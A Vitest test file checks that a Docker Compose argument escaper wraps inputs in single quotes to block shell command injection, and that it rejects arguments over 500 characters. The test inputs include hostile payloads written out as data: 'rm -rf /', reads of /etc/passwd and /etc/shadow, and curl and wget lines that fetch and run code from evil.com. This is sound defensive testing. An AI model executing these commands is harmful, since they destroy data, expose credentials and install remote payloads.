/**
* Tests for compose argument validation and escaping (S-M1)
*
* SECURITY (CWE-78): These tests verify that compose arguments are properly
* escaped to prevent command injection, replacing the previous deny-list approach.
*/
import { describe, expect, it } from "vitest";
import { validateAndEscapeComposeArgs } from "./compose.js";
describe("validateAndEscapeComposeArgs", () => {
describe("valid arguments - should escape properly", () => {
it("should escape arguments with spaces", () => {
const result = validateAndEscapeComposeArgs(["--service", "my service"]);
// All args get wrapped in single quotes for shell safety
expect(result).toEqual(["'--service'", "'my service'"]);
});
it("should escape arguments with single quotes", () => {
const result = validateAndEscapeComposeArgs(["it's", "a", "test"]);
// Single quote becomes: '\'' (end quote, escaped quote, start quote)
expect(result).toEqual(["'it'\\''s'", "'a'", "'test'"]);
});
it("should escape arguments with shell metacharacters", () => {
const result = validateAndEscapeComposeArgs(["$(rm -rf /)", "&& echo hack"]);
expect(result).toEqual(["'$(rm -rf /)'", "'&& echo hack'"]);
});
it("should escape arguments with hash comments", () => {
const result = validateAndEscapeComposeArgs(["#comment", "arg#with#hash"]);
expect(result).toEqual(["'#comment'", "'arg#with#hash'"]);
});
it("should escape arguments with semicolons", () => {
const result = validateAndEscapeComposeArgs(["arg;rm -rf /"]);
expect(result).toEqual(["'arg;rm -rf /'"]);
});
it("should escape arguments with pipes", () => {
const result = validateAndEscapeComposeArgs(["arg|cat /etc/passwd"]);
expect(result).toEqual(["'arg|cat /etc/passwd'"]);
});
it("should escape arguments with backticks", () => {
const result = validateAndEscapeComposeArgs(["`whoami`"]);
expect(result).toEqual(["'`whoami`'"]);
});
it("should handle empty array", () => {
const result = validateAndEscapeComposeArgs([]);
expect(result).toEqual([]);
});
it("should handle arguments with special characters used in compose", () => {
const result = validateAndEscapeComposeArgs([
"--build-arg",
"VERSION=1.0.0",
"--label",
"com.example.version=1.0",
]);
expect(result).toEqual([
"'--build-arg'",
"'VERSION=1.0.0'",
"'--label'",
"'com.example.version=1.0'",
]);
});
});
describe("invalid arguments - should reject", () => {
it("should reject arguments exceeding 500 characters", () => {
const longArg = "a".repeat(501);
expect(() => validateAndEscapeComposeArgs([longArg])).toThrow(/Compose argument too long/);
});
it("should accept arguments at exactly 500 characters", () => {
const maxArg = "a".repeat(500);
const result = validateAndEscapeComposeArgs([maxArg]);
expect(result).toEqual([`'${"a".repeat(500)}'`]);
});
it("should reject if any argument is too long", () => {
const longArg = "a".repeat(501);
expect(() => validateAndEscapeComposeArgs(["short", longArg, "normal"])).toThrow(
/Compose argument too long/
);
});
});
describe("security scenarios", () => {
it("should neutralize command injection with semicolon", () => {
const malicious = ["--rm", "; rm -rf /"];
const result = validateAndEscapeComposeArgs(malicious);
expect(result).toEqual(["'--rm'", "'; rm -rf /'"]);
// When joined: '--rm' '; rm -rf /' (safe - treated as literal string)
});
it("should neutralize command injection with pipe", () => {
const malicious = ["service", "| cat /etc/shadow"];
const result = validateAndEscapeComposeArgs(malicious);
expect(result).toEqual(["'service'", "'| cat /etc/shadow'"]);
});
it("should neutralize command injection with command substitution", () => {
const malicious = ["$(curl evil.com/shell.sh | bash)"];
const result = validateAndEscapeComposeArgs(malicious);
expect(result).toEqual(["'$(curl evil.com/shell.sh | bash)'"]);
});
it("should neutralize command injection with backtick substitution", () => {
const malicious = ["`wget evil.com/backdoor -O /tmp/backdoor`"];
const result = validateAndEscapeComposeArgs(malicious);
expect(result).toEqual(["'`wget evil.com/backdoor -O /tmp/backdoor`'"]);
});
it("should neutralize newline injection", () => {
const malicious = ["arg\nrm -rf /"];
const result = validateAndEscapeComposeArgs(malicious);
expect(result).toEqual(["'arg\nrm -rf /'"]);
});
it("should handle complex multi-attack scenario", () => {
const malicious = ["'; rm -rf / #", "| cat /etc/passwd", "$(whoami)"];
const result = validateAndEscapeComposeArgs(malicious);
expect(result).toEqual([
"''\\''; rm -rf / #'", // Note: \\'' is the escaped single quote
"'| cat /etc/passwd'",
"'$(whoami)'",
]);
});
});
});